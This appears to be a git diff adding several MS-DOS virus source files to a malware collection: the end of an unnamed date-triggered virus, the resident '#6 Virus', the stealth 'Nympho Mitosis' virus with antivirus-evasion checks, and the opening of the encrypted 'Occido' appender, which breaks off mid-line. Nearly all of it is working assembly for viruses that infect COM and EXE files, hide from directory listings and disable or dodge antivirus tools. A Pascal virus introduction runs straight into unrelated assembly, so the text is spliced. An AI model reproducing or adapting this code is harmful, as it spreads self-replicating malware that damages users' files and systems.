+;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp ; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw ? +attrib dw ? +int21 dd ? +error dd ? + +ÿ;--------------------------------- +action: ;Call label +MOV AH,2AH ; +INT 21H ;get date +CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day? +JE cont ;nop! fuck ret +cmp byte ptr cs:[action_dia+bp],32 ; +jne no_day ; +cont: ; +cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month? +je set ; +cmp byte ptr cs:[action_mes+bp],13 ; +jne NO_DAY ;nop! fuck ret +set: ; +mov AH,9 ;yeah!! +MOV DX,OFFSET PAO ;print my text! +INT 21H ;now! +INT 20H ;an finsh te program +NO_DAY: ;label to incorrect date +ret ;return from call +;--------------------------------- + +ÿ +PAO: +DB 10,13,'Congratulations! You Have Been infected by VooDoo... Compliments of HeadHunter ','$' + +;--------------------------------- +ANTI_V: ; +MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY +MOV DX,5945H ; +INT 21H ; +ret ; +;--------------------------------- + +ÿ;***************************************************** +dir_s: + pushf + push cs + call a3 ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + mov es,bx + cmp bx,es:[16h] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,byte ptr cs:fechad + jnz not_infected + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;******************************************************************** +; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX +;********************************************************************* + +ÿaction_dia Db 06H ;day for the action +action_mes Db 06H ;month for the action +FECHA DW 01eH ;Secon for mark +FECHAd Db 01eH ;Secon for mark dir st +fin: +code ends +end start + + +-- +Eric "Mad Dog" Kilby maddog@ccs.neu.edu +The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu +Student at the Northeatstern University College of Computer Science +"I Can't Believe It's Not Butter" + diff --git a/MSDOS/Virus.MSDOS.Unknown.number-6.asm b/MSDOS/Virus.MSDOS.Unknown.number-6.asm new file mode 100644 index 00000000..945a2b46 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.number-6.asm @@ -0,0 +1,325 @@ +;***************************************************************************** +; #6 Virus * +; * +; Assembled with Tasm 2.5 * +; (c) 1992 Trident/Dark Helmet, The Netherlands * +; * +; The author(s) take(s) no responsibility for any damaged caused by * +; this virus. * +;***************************************************************************** + + .RADIX 16 +virus SEGMENT + MODEL SMALL + ASSUME cs:virus, ds:virus, es:virus + ORG 100h + +len EQU OFFSET last - begin + +dummy: DB 0e9h,02h,00h,86h,54h ; Jump to start of + ; viruscode. +begin: CALL start ; make a call to + ; push the IP on the + ; stack. +start: POP bp ; get the IP of the + ; stack. + SUB bp,108h ; adjust BP (=IP) + ; for offset of DATA. + +restore: MOV di,0100h ; copy the original + LEA si,ds:[carrier_begin+bp] ; host begin code back. + MOV cx,05h + REP MOVSB + +check: MOV ah,0a0h ; check if virus + INT 21h ; allready resident. + CMP ax,8654h + JE end_virus + +memory: MOV ax,cs ; DS = Memory Control + DEC ax ; Blok (MCB). + MOV ds,ax + CMP BYTE PTR ds:[0000],5ah ; check first byte if + JNE abort ; last MCB. + MOV ax,ds:[0003] ; decrease memory size. + SUB ax,40 + MOV ds:[0003],AX + + PUSH cs ; restore ds. + POP ds + +install: MOV bx,ax ; ES point where + MOV ax,es ; to copy virus in + ADD ax,bx ; memory. + MOV es,ax + + MOV cx,len ; copy virus to + LEA si,ds:[begin+bp] ; memory. + LEA di,es:0105 ; offset = 105 + REP MOVSB + MOV [virus_segment+bp],es ; store virus_segment + + PUSH cs ; restore es + POP es + +hook_vectors: CLI + + MOV ax,3521h ; hook int 21h + INT 21h + MOV ds,[virus_segment+bp] + MOV old_21h,bx + MOV old_21h+2,es + MOV dx,offset main_virus + MOV ax,2521h + INT 21h + + MOV ax,3512h ; hook int 12h + INT 21h + MOV old_12h,bx + MOV old_12h+2,es + MOV dx,offset new_12h + MOV ax,2512h + INT 21h + + STI + +abort: MOV ax,cs ; restore ds,es + MOV ds,ax + MOV es,ax + +end_virus: MOV bx,0100h ; jump to begin host + PUSH bx + XOR bx,bx + XOR bp,bp + XOR ax,ax + XOR cx,cx + RET + +;***************************************************************************** +; * +; This part will intercept the interuptvectors and copy itself to * +; other host programs * +; * +;***************************************************************************** + +main_virus: PUSHF + CMP ah,0a0h ; check if virus calls + JNE new_21h ; and return id. + MOV ax,8654h + POPF + IRET + +new_21h: PUSH ds ; new interupt 21 + PUSH es ; routine + PUSH di + PUSH si + PUSH ax + PUSH bx + PUSH cx + PUSH dx + PUSH sp + PUSH bp + +check_open: CMP ah,3dh ; check if a file is + JNE check_exec ; being opened + JMP chk_com + +check_exec: CMP ax,04b00h ; check if a file is + JNE continu ; executed + JMP chk_com + +continu: POP bp + POP sp + POP dx ; continu with + POP cx ; interrupt + POP bx + POP ax + POP si + POP di + POP es + POP ds + POPF + JMP DWORD PTR cs:[old_21h] + +chk_com: MOV cs:[name_seg],ds + MOV cs:[name_off],dx + CLD ; check if extension + MOV di,dx ; is COM file + PUSH ds + POP es + MOV al,'.' + REPNE SCASB + CMP WORD PTR es:[di],'OC' + JNE continu + CMP WORD PTR es:[di+2],'M' + JNE continu + + CMP WORD PTR es:[di-7],'MO' ; Check for + JNE error ; COMMAND.COM + CMP WORD PTR es:[di-5],'AM' + JNE error + CMP WORD PTR es:[di-3],'DN' + JE continu + +error: CALL int24h ; take care of error + ; messages + CALL set_atribute ; set atribute for + ; writing + +open_file: MOV ds,cs:[name_seg] ; open file + MOV dx,cs:[name_off] + MOV ax,3d02h + CALL do_int21h + JC close_file + PUSH cs + POP ds + MOV [handle],ax + MOV bx,ax + + CALL get_date + +check_infect: PUSH CS ; check if file + POP DS ; already infect + MOV BX,[handle] + MOV ah,3fh + MOV cx,05h + LEA dx,[carrier_begin] + CALL do_int21h + MOV al, BYTE PTR [carrier_begin]+3 ; look for + MOV ah, BYTE PTR [carrier_begin]+4 ; identification byte's + CMP ax,[initials] + JE save_date + +get_lenght: MOV ax,4200h + CALL move_pointer + MOV ax,4202h + CALL move_pointer + SUB AX,03h + MOV [lenght_file],ax + + CALL write_jmp ; write jump + ; instruction. + CALL write_virus ; write virus + ; body. + +save_date: PUSH CS + POP DS + MOV bx,[handle] + MOV dx,[date] + MOV cx,[time] + MOV ax,5701h + CALL do_int21h + +close_file: MOV bx,[handle] ; close file + MOV ah,3eh + CALL do_int21h + +restore_int24h: MOV dx,cs:[old_24h] ; restore int24 + MOV ds,cs:[old_24h+2] ; for critical + MOV ax,2524h ; error handling + CALL do_int21h + + JMP continu + +new_24h: MOV al,3 + IRET + +new_12h: JMP DWORD PTR cs:[old_12h] + SUB ax,50 + IRET + +;***************************************************************************** + +move_pointer: PUSH cs + POP ds + MOV bx,[handle] + XOR cx,cx + XOR dx,dx + CALL do_int21h + RET + +do_int21h: PUSHF + CALL DWORD PTR cs:[old_21h] + RET + +write_jmp: PUSH CS + POP DS + + MOV ax,4200h ; write jump + CALL move_pointer ; instruction + MOV ah,40h + MOV cx,01h + LEA dx,[jump] + CALL do_int21h + + MOV ah,40h ; write offset of + MOV cx,02h ; jump + LEA dx,[lenght_file] + CALL do_int21h + + MOV ah,40h ; write mark for + MOV cx,02h ; infection + LEA dx,[initials] + CALL do_int21h + RET + +write_virus: PUSH CS + POP DS + + MOV ax,4202h ; write main + CALL move_pointer ; virus body + MOV ah,40 ; at end of + MOV cx,len ; program + MOV dx,105h + CALL do_int21h + RET + +get_date: MOV ax,5700h + CALL do_int21h + PUSH cs + POP ds + MOV [date],dx + MOV [time],cx + RET + +int24h: MOV ax,3524h + CALL do_int21h + MOV cs:[old_24h],bx + MOV cs:[old_24h+2],es + MOV dx,offset new_24h + PUSH CS + POP DS + MOV AX,2524h + CALL do_int21h + RET + +set_atribute: MOV ax,4300h ; get atribute + MOV ds,cs:[name_seg] + MOV dx,cs:[name_off] + CALL do_int21h + + AND cl,0feh ; set atribute + MOV ax,4301h + CALL do_int21h + RET + +;***************************************************************************** + +text db '#6 Virus, Trident/The Netherlands 1992' +old_12h dw 00h,00h +old_21h dw 00h,00h +old_24h dw 00h,00h +carrier_begin db 090h,0cdh,020h,086h,054h +jump db 0e9h +name_seg dw ? +name_off dw ? +virus_segment dw ? +handle dw ? +lenght_file dw ? +date dw ? +time dw ? +initials dw 5486h +last db 090h + +virus ends + end dummy diff --git a/MSDOS/Virus.MSDOS.Unknown.numberone.pas b/MSDOS/Virus.MSDOS.Unknown.numberone.pas new file mode 100644 index 00000000..128c8fa5 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.numberone.pas @@ -0,0 +1,109 @@ +Number One + +Pascal is another high level language that can produce eye popping computer viruses. Especially when the usage of Turbo Pascal is involved. +The virus below was available through various bulletin boards for a while. +Although this is a primitive virus its effective. +In this virus only the .COM files are infected. Its about 12K and it will change the date entry. + +{------------------------------------------------------------------} +{Number One} +{ Number One infects all .COM - file's name will be displayed } +{ That file has been overwritten with Number Ones's program code and } +{ is not reconstructible! If all files are infected or or no .COM } +{ files are found, Number one gives you a Starting of INT Table + xchg di,dx ;Load Register w/Zero + ; + lds ax,dword ptr ds:[084h] ;Load Far Pointer to DS:AX + mov word ptr cs:[bp+Int21hOffset],ax ;Save Interrupt Offset + mov word ptr cs:[bp+Int21hSegment],ds ;Save Interrupt Segment + ; + mov ax,es ;ES=PSP=AX + dec ax ;Decrement for Last MCB + mov ds,ax ;AX=Last MCB=DS + ; + cmp byte ptr ds:[di+000h],05Ah ;Is MCB Last in Chain? + jne restoreCOMEXEfile ;Jump if Not Equal/Zero + ; + mov byte ptr ds:[di+000h],04Dh ;Mark MCB as NOT Last + sub word ptr ds:[di+003h],(heap_end-v_start+100h+015d)/016d+001h + sub word ptr ds:[di+012h],(heap_end-v_start+100h+015d)/016d+001h + ; + mov ax,word ptr ds:[di+012h] ;AX=Location of Virus MCB + ; + mov ds,ax ;DS=Location of Virus MCB + inc ax ;Increment for Mem Loc + mov es,ax ;AX=Memory Location=ES + ; + mov byte ptr ds:[di+000h],05Ah ;Mark MCB as Last in Chain + mov word ptr ds:[di+001h],008h ;Mark DOS as Owner of MCB + mov word ptr ds:[di+003h],(heap_end-v_start+100h+015d)/016d + ; + push cs ;Push Segment onto Stack + pop ds ;Restore into DS (CS=DS) + ; + cld ;Clear Direction Flag + mov di,100h ;DI=Location in Memory + lea si,[bp+v_start] ;SI=Source of Data + mov cx,(heap_end-v_start)/002h ;CX=Number of Bytes + rep movsw ;Word @ DS:[SI]=>ES:[DI] + ; + mov ds,cx ;CX=000h=DS=Int Table + ; + cli ;Turn OFF Interrupts + mov word ptr ds:[084h],offset Int21Handler + mov word ptr ds:[086h],es ;Location in Memory + sti ;Turn ON Interrupts + ; +restoreCOMEXEfile: ; + pop es ds ;Restore Segments + ; + mov ax,5A4Dh ;AX=5A4Dh (MZ) + lea si,cs:[bp+host_bytes] ;SI=Host_Bytes + ; + cmp ax,word ptr cs:[si+000h] ;Is an EXE Our Host? + je restoreEXEfile ;Jump if Equal/Zero + ; + xchg ah,al ;Exchange Registers (ZM) + ; + cmp ax,word ptr cs:[si+000h] ;Is an EXE Our Host? + je restoreEXEfile ;Jump if Equal/Zero + ; +restoreCOMfile: ; + mov di,0FFh ;DI=Location in Memory + inc di ;Increment for Real Loc + push di ;Push DI onto Stack + mov byte ptr [di],0C3h ;** Here, we screw up + ;** the file _if_ TBClean + call di ;** is being run. + ;** Thanks LM! + movsw ;Word @ DS:[SI]=>ES:[DI] + movsb ;Byte @ DS:[SI]=>ES:[DI] + ; + retn ;Return to Host Program + ; +restoreEXEfile: ; + mov ax,es ;ES=PSP=AX + ; + add ax,010h ;Skip One Segment for CS + add ax,word ptr cs:[si+016h] ;Calculate Start of Prog + ; + push ax ;Push New CS to Stack + push word ptr cs:[si+014h] ;Push IP to Stack + ; + retf ;Return to Host Program + ; + db "[Nympho Mitosis] v1.0",000h ;Le Nom du Virus + db "Copyright (c) 1993 Memory Lapse",000h + ; +Int21Handler: ; + cmp ax,5D3Dh ;Is Virus Checking? + jne check_execute ;Jump if Not Equal/Zero + ; + cbw ;Convert AL to AX + ; + iret ;Interrupt Return + ; +check_execute: ; + cmp ah,011h ;Are We Doing a DIR? + je _FCBStealth ;Jump if Equal/Zero + ; (DOS) + cmp ah,012h ;Are We Doing a DIR? + je _FCBStealth ;Jump if Equal/Zero + ; (DOS) + cmp ah,04Eh ;Are We Doing a DIR? + je _DTAStealth ;Jump if Equal/Zero + ; (4DOS) + cmp ah,04Fh ;Are We Doing a DIR? + je _DTAStealth ;Jump if Equal/Zero + ; (4DOS) + push ax bx cx dx di si ds es ;Push Registers onto Stack + ; + cmp ax,6C00h ;Are We Extended Opening? + je __disinfectCOMEXEfile ;Jump if Equal/Zero + ; + cmp ah,03Dh ;Are We Opening? + je _disinfectCOMEXEfile ;Jump if Equal/Zero + ; + dec ax ;** Get Rid of TBAV's + ;** Traps Loading of SW. + cmp ax,4AFFh ;Are We Executing? + je _infectCOMEXEfile ;Jump if Equal/Zero + ; +_Interrupt21h: ; + pop es ds si di dx cx bx ax ;Restore Registers + ; +Interrupt21h: ; + db 0EAh,000h,000h,000h,000h ;JMP FAR PTR SSSS:OOOO + ; +Int21hOffset equ $-004h ;Buffer for Int 21 Offset +Int21hSegment equ $-002h ;Buffer for Int 21 Segment + ; +_FCBStealth: ; + jmp FCBStealth ;Unconditional Jump + ; +_DTAStealth: ; + jmp DTAStealth ;Unconditional Jump + ; +_infectCOMEXEfile: ; + jmp infectCOMEXEfile ;Unconditional Jump + ; +__disinfectCOMEXEfile: ; + xchg dx,si ;SI=File Name=>DX + ; +_disinfectCOMEXEfile: ; + jmp disinfectCOMEXEfile ;Unconditional Jump + ; +FCBStealth: ; + pushf ;Push Flags to Top of Stck + push cs ;Push Segment onto Stack + call Interrupt21h ;Simulate Interrupt + ; + test al,al ;Was There an Error? + jnz endFCBstealth ;Jump if Not Equal/Zero + ; + push es dx cx bx ax ;Push Registers onto Stack + ; + mov ah,051h ;AH=51h / GET PSP ADDRESS + int 021h ;DOS Services + ; + mov es,bx ;BX=Address=ES + ; + cmp bx,word ptr es:[016h] ;Is This a Parent PSP? + jne restoreFCBregisters ;Jump if Not Equal/Zero + ; + mov bx,dx ;DX=BX + mov al,[bx] ;Get First Byte of FCB + ; + push ax ;Save Byte onto Stack + ; + mov ah,02Fh ;AH=2Fh / GET DTA ADDRESS + int 021h ;DOS Services + ; + pop ax ;Restore AX + ; + inc al ;Is This an Extended FCB? + jnz checkFCBinfected ;Jump if Not Equal/Zero + ; + add bx,007h ;Convert to Normal FCB + ; +checkFCBinfected: ; + mov cx,word ptr es:[bx+017h] ;CX=Time + mov dx,word ptr es:[bx+019h] ;DX=Date + ; + and cx,01Fh ;Unmask Seconds Field + and dx,01Fh ;Unmask Day Field + ; + xor cx,dx ;Are They the Same? + jnz restoreFCBregisters ;Jump if Not Equal/Zero + ; + sub word ptr es:[bx+01Dh],(v_end-v_start);Subtract Virus Length + sbb word ptr es:[bx+01Fh],000h ;Subtract if Borrow + ; +restoreFCBregisters: ; + pop ax bx cx dx es ;Restore Registers + ; +endFCBstealth: ; + iret ;Interrupt Return + ; +DTAStealth: ; + pushf ;Push Flags to Top of Stck + push cs ;Push Segment onto Stack + call Interrupt21h ;Simulate Interrupt + ; + jc endDTAstealth ;Jump if Carry Flag Set + ; + push es dx cx bx ax ;Save Registers onto Stack + ; + mov ah,02Fh ;AH=2Fh / GET PSP ADDRESS + int 021h ;DOS Services + ; + mov cx,word ptr es:[bx+016h] ;CX=Time + mov dx,word ptr es:[bx+018h] ;DX=Date + ; + and cx,01Fh ;Unmask Seconds Field + and dx,01Fh ;Unmask Day Field + ; + xor cx,dx ;Are They the Same? + jnz restoreDTAregisters ;Jump if Not Equal/Zero + ; + sub word ptr es:[bx+01Ah],(v_end-v_start);Subtract Virus Size + sbb word ptr es:[bx+01Ch],000h ;Subtract if Borrow + ; +restoreDTAregisters: ; + pop ax bx cx dx es ;Restore Registers + ; +endDTAstealth: ; + retf 002h ;Return Far (POP 2 WORDS) + ; +disinfectCOMEXEfile: ; + call OpenAndGetSFT ;Call Procedure + ; + mov cx,word ptr es:[di+00Dh] ;CX=Time + mov dx,word ptr es:[di+00Fh] ;DX=Date + ; + and cx,01Fh ;Unmask Seconds Field + and dx,01Fh ;Unmask Day Field + ; + xor cx,dx ;Are They the Same? + jnz disinfect_close ;Jump if Not Equal/Zero + ; + call LSeek ;Move File Pointer to End + ; + xchg cx,dx ;Exchange Register Values + xchg dx,ax ;Exchange Register Values + ; + push dx cx ;Save File Size to Stack + ; + sub dx,018h ;Subtract 18 for Host_Byte + sbb cx,000h ;Subtract if Borrow + ; + mov word ptr es:[di+015h],dx ;Move File Pointer to + mov word ptr es:[di+017h],cx ;Starting of Host_Bytes + ; + mov dx,offset temp_buffer ;DX=Buffer for Data + mov cx,018h ;CX=Number of Bytes + mov ah,03Fh ;AH=3Fh / READ + int 021h ;DOS Services + ; + mov word ptr es:[di+015h],000h ;Move File Pointer to + mov word ptr es:[di+017h],000h ;Starting of File (SFT) + ; + mov ah,040h ;AH=40h / WRITE + int 021h ;DOS Services + ; + pop cx dx ;Restore File Size + ; + sub dx,(v_end-v_start) ;Subtract Virus Size + sbb cx,000h ;Subtract if Borrow + ; + mov word ptr es:[di+015h],dx ;Move File Pointer to + mov word ptr es:[di+017h],cx ;Starting of Virus + ; + sub cx,cx ;Load Register w/Zero + mov ah,040h ;AH=40h / WRITE + int 021h ;DOS Services + ; + mov cx,word ptr es:[di+00Dh] ;CX=Time + and cl,0E0h ;Unmask Seconds Field + or cl,008h ;Set Seconds to 016d + mov dx,word ptr es:[di+00Fh] ;DX=Date + ; + jmp preCLOSECOMEXEfile ;Unconditional Jump + ; +disinfect_close: ; + jmp closeCOMEXEfile ;Unconditional Jump + ; +infectCOMEXEfile: ; + call OpenAndGetSFT ;Call Procedure + ; + mov cx,word ptr es:[di+00Dh] ;CX=Time + mov dx,word ptr es:[di+00Fh] ;DX=Date + ; + and cx,01Fh ;Unmask Seconds Field + and dx,01Fh ;Unmask Day Field + ; + xor cx,dx ;Are They the Same? + jz _closeCOMEXEfile ;Jump if Equal/Zero + ; + cmp word ptr es:[di+020h],'BT' ;Could It Be ThunderByte? + je _closeCOMEXEfile ;Jump if Equal/Zero + ; + cmp word ptr es:[di+020h],'-F' ;Could it Be F-Prot? + je _closeCOMEXEfile ;Jump if Equal/Zero + ; + cmp word ptr es:[di+020h],'CS' ;Could it Be ViruScan? + je _closeCOMEXEfile ;Jump if Equal/Zero + ; + cmp word ptr es:[di+020h],'LC' ;Could it Be Clean? + je _closeCOMEXEfile ;Jump if Equal/Zero + ; + mov dx,offset host_bytes ;DX=Buffer for Data + mov cx,018h ;CX=Number of Bytes + mov ah,03Fh ;AH=3Fh / READ + int 021h ;DOS Services + ; + mov word ptr es:[di+015h],000h ;Move File Pointer to + mov word ptr es:[di+017h],000h ;Starting of File (SFT) + ; + mov si,offset temp_buffer ;SI=Temp_buffer + ; + mov ax,4D5Ah ;** Get Rid of TBAV's + ;** EXE/COM Determination + cmp ax,word ptr [host_bytes+000h] ;Is This an EXE File? + je infectEXEfile ;Jump if Equal/Zero + ; + xchg ah,al ;Exchange Registers (MZ) + ; + cmp ax,word ptr [host_bytes+000h] ;Is This an EXE File? + je infectEXEfile ;Jump if Equal/Zero + ; +infectCOMfile: ; + call LSeek ;Move File Pointer to End + ; + mov word ptr [delta],ax ;Write New Delta Offset + ; + sub ax,003h ;Subtract 03 for JMP Loc + mov byte ptr [si+000h],0E9h ;Write JMP to Buffer + mov word ptr [si+001h],ax ;Write JMP Loc to Buffer + ; + mov cx,003h ;CX=Number of Bytes + push cx ;Push Register onto Stack + ; + jmp continueCOMEXEinfect ;Unconditional Jump + ; +_closeCOMEXEfile: ; + jmp closeCOMEXEfile ;Unconditional Jump + ; +infectEXEfile: ; + mov dx,si ;DX=Buffer for Data + push cx ;CX=Number of Bytes + mov ah,03Fh ;AH=3Fh / READ + int 021h ;DOS Services + ; + call LSeek ;Move File Pointer to End + ; + push dx ax ;Push File Size onto Stack + ; + add ax,(v_end-v_start) ;Add Virus Size to Low Bit + adc dx,000h ;Add if Carry to High Bit + ; + mov cx,200h ;CX=Number to Divide By + div cx ;Divide AX by CX + ; + or dx,dx ;Do We Need to Round Up? + je no_burp ;Jump if Equal/Zero + ; + inc ax ;Increment AX + ; +no_burp: ; + mov word ptr [si+004h],ax ;New Length of File ö 512 + mov word ptr [si+002h],dx ;New # of Bytes in Last Pg + ; + pop ax dx ;Restore File Size + ; + mov cx,010h ;CX=Number to Divide By + div cx ;Divide AX by CX + ; + sub ax,word ptr [si+008h] ;Subtact Header Size + ; + mov word ptr [si+016h],ax ;CS=Segment of Virus + mov word ptr [si+014h],dx ;IP=Location of Virus + ; + sub dx,100h ;Subtract 100h for Offset + mov word ptr [delta],dx ;Write New Delta Offset + ; +continueCOMEXEinfect: ; + mov dx,offset v_start ;DX=Location of Data + mov cx,(v_end-v_start) ;CX=Number of Bytes + mov ah,040h ;AH=40h / WRITE + int 021h ;DOS Services + ; + mov word ptr es:[di+015h],000h ;Move File Pointer to + mov word ptr es:[di+017h],000h ;Starting of File (SFT) + ; + xchg dx,si ;DX=Location of Data + pop cx ;CX=Number of Bytes + mov ah,040h ;AH=40h / WRITE + int 021h ;DOS Services + ; + mov cx,word ptr es:[di+00Dh] ;CX=Time + mov dx,word ptr es:[di+00Fh] ;DX=Date + ; + push dx ;Push Date Stamp to Stack + ; + and cx,-020h ;Reset Seconds + and dx,01Fh ;Unmask Day Field + ; + or cx,dx ;Move Day into Seconds + ; + pop dx ;Restore Date + ; +preCLOSECOMEXEfile: ; + mov ax,5701h ;AX=5701h / SET T/D STAMPS + int 021h ;DOS Services + ; +closeCOMEXEfile: ; + mov ah,03Eh ;AH=3Eh / CLOSE File + int 021h ;DOS Services + ; + jmp _Interrupt21h ;Unconditional Jump + ; +OpenAndGetSFT: ; + mov ax,3D00h ;AX=3D00h / OPEN R/O + pushf ;Push Flags to Top of Stck + push cs ;Push Segment to Stack + call Interrupt21h ;Simulate Interrupt + ; + xchg ax,bx ;Move File Handle to BX + ; + push bx cs cs ;Push Registers to Stack + pop es ds ;Equal Out Segments + ; + mov ax,1220h ;AX=1220h / GET JFT + int 02Fh ;Multiplex Interrupt + ; + mov ax,1216h ;AX=1216h / GET SFT + mov bl,byte ptr es:[di] ;Move Byte into BL + int 02Fh ;Multiplex Interrupt + ; + pop bx ;Restore File Handle + ; + mov word ptr es:[di+002h],002h ;Open in Read/Write Mode + ; + retn ;Return to Point of Call + ; +LSeek: push ds ;Push Segment onto Stack + ; + lds ax,dword ptr es:[di+011h] ;Load Far Pointer to DS:AX + mov word ptr es:[di+015h],ax ;Move File Pointer to + mov word ptr es:[di+017h],ds ;End of File. (SFT) + mov dx,ds ;Move High Bit to DX + ; + pop ds ;Restore Segment to DS + ; + retn ;Return to Point of Call + ; +host_bytes dw 020CDh ;First 3 for COM ;Marks Host as an EXE + dw 002h ;# of Bytes @ Last Page + dw 004h ;# of Pages + Header Size + dw 006h ;# of Relocatable Entries + dw 008h ;Size of Header (Paras) + dw 00Ah ;Min. Memory Required + dw 00Ch ;Max. Memory Wanted + dw 00Eh ;SS Value at Entry + dw 010h ;SP Value at Entry + dw 012h ;Negative Checksum + dw 014h ;IP Value at Entry + dw 016h ;CS Value at Entry + ; +v_end: ;Marks End of Virus +heap_start: ;Marks Start of Heap + ; +temp_buffer db 018h dup (?) ;Multipurpose Buffer + ; +heap_end: ;Marks End of Heap + ; +end start ;Marks End of Source diff --git a/MSDOS/Virus.MSDOS.Unknown.occido.asm b/MSDOS/Virus.MSDOS.Unknown.occido.asm new file mode 100644 index 00000000..c485d005 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.occido.asm @@ -0,0 +1,285 @@ +; NAME: Occido.com ( 'Occido' = Several unfriendly meanings in Latin ) +; TYPE: Appending +; ENCRYPTION: Yes ( Double ) +; INFECTS: COM +; RESIDENT: No +; STEALTH: No +; DT: No ( Directory Transversal ) +; REPAIRABLE: Yes +; PAYLOAD: No +; SIZE: 328 bytes +; AUTHOR: The Virus Elf + +; Appends itself to files while encrypting itself with two different +; encryption routines. Only infects 5 files per run of an infected file. +; After infecting 5 files, or all in current directory, it will hide itself +; before closing. I just felt like doing it for more fun. If a person were +; to pause a running program and do a mem dump, the virus would not show up +; because it hides itself before returning control to the running progge. + +start: +jmp Virus_start ; Jumps to the start of the virus. This + ; will change as the virus is appended to + ; different size files. +Virus_start: +call Delta ; Now we have to get the delta offset. By + ; calling Delta we push the address of 'pop bp' + ; onto the stack. +Delta: +pop bp ; Put the address into BP so it can be used. +sub bp,offset delta ; Now this takes the distance that Delta is now + ; now (BP) and subtracts where it started + ; (Offset Delta). Understand?? Hopefully you do! + ; Because most files are different sizes, and this + ; virus just attaches itself to the end we have + ; to find out where it is before it can do anything. + +Skip: +jmp DHidden ; We have to skip the decrypt part on the first run + +Decrypt: + ; Give length of area to decrypt to CX +;mov cx,cryptie-hidden ; This is written later to keep correct file size + ; and offsets. It overwrites the 'jmp hidden'. +lea di,[bp+hidden] ; Start of area to decrypt +mov si,di ; its also the destination for decrypted part +call Cryptie ; Decrypts the virus from here to the decryption + ; routine. + +Hidden: ; Only encrypted once, because this is the decrypt + ; call for the second layer. +lea di,[bp+Dhidden] ; Puts the starting address of the secong layer of + ; encryption into DI +mov si,di ; Then SI +mov cx,DCryptie-Dhidden ; Gets the size for the next area to decrypt +mov dl,03h ; Decryption code value +call DCryptie ; Boom! Decrypts the second layer + +DHidden: ; Area that is hidden with Double encryption + +; Here we will write the saved bytes from the beggining of the file, back +; to where they belong, so that we may run the file as normal, after we +; infect some more files of course :) + +lea si,[bp+saved] ; Notice the [bp+saved]. It accesses a memory locale + ; that would be changed depending on infected file + ; size. We just add our Delta offset to find out + ; its exact location. +lea di,100h ; We are gonna write the saved bytes to the start + ; so we run the program as normal after we infect + ; some files. +mov cx,03h ; The number of bytes we have to write back to start +rep movsb ; Quickly restores the file so we can run it after + ; we get through here. + +lea si,[bp+frstbytes] ; We have to save these over the jmp + ; so that later we can just copy Virus to mem +lea di,[bp+Skip] ; Where the skip instruction is + ; We are gonna over write it with the Frstbytes +mov cx,03h ; Length of area +rep movsb ; Does the job + +push 00h ; Pushes the 0 value to stack, this will keep + ; a count of the files infected during each run. + +mov ax,4E00h ; Function 4Eh: Find First +Findnext: ; Findnext jmp point +lea dx,[bp+filemask] ; Gets the filemask = '*.com',0 +xor cx,cx ; No attributues in this search +int 21h ; Tells DOS to find the *.com files + +jnc Open ; Found one, now open it! + +jmp Badstuff ; NONE left, do some other stuff + +Open: ; Open/Encrypt/Infect routines + +mov ax,3D02h ; Function 3D: Open File + ; 02 = Read/Write access +mov dx,9Eh ; Location of ASCIZ filename +int 21h ; Calls DOS to open the file, with Read/Write access + ; so that we can write the virus to it :) + +xchg bx,ax ; Gives the file handle from AX to BX in one byte. + +mov ah,3Fh ; Function 3Fh: Read from file +mov cx,03h ; We are gonna read the first 3 bytes. CX = # of bytes + ; to read from file. +lea dx,[bp+saved] ; The location for the bytes to be stored when read. +int 21h ; Calls DOS to load the first 3 bytes of Victem file + ; into the 'Saved' location so that it may run correctly. + +mov al,0E9h ; Checks to see if it was a jump instruction +cmp al,[bp+saved] ; by matching E9h to the first byte of the file. +jne Uninfected ; It can't be infected by this virus because the file + ; has NO jmp at its beggining. If it does have a jmp + ; but not from this program it could be from another + ; virus, and double infecting can cause trouble. +jmp Infected + +Uninfected: + +mov ax,[80h+1Ah] ; Gets the filesize of the target file +sub ax,03h ; Takes into account the length of the JMP instruction +mov [bp+jumpto],ax ; Puts the location to jmp to as the + ; 2nd,3rd bytes of the buffer. + + +mov ax,4200h ; Function 42h: Move File Pointer + ; 00h = beggining, after the read the FP moves 3 bytes +xor cx,cx ; 0 = CX +xor dx,dx ; 0 = DX +int 21h ; Calls DOS, this is explained a bit more with the + ; next "Move File Pointer" instruction + +mov ah,40h ; Function 40h: Write to file +mov cx,03 ; Number of bytes to write. CX = # of bytes +lea dx,[bp+jumping]; Start at buffer 